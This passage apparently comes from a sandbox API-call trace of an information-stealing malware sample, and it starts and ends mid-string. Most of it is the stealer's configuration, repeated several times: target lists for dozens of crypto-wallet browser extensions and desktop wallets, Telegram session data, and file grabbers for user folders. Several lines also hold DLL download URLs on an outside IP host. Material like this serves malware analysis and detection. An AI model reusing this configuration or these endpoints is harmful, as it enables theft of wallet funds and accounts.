Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.799] lstrlenW (lpString="libs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5032 [0258.799] LocalAlloc (uFlags=0x40, uBytes=0x27d0) returned 0x6e6bd0 [0258.800] StrCpyW (in: psz1=0x6b9720, psz2="libs" | out: psz1="libs") returned="libs" [0258.800] LocalFree (hMem=0x6e6bd0) returned 0x0 [0258.800] StrStrW (lpFirst="libs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.800] lstrcmpiW (lpString1="libs", lpString2="libs") returned 0 [0258.801] StrStrW (lpFirst="mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension 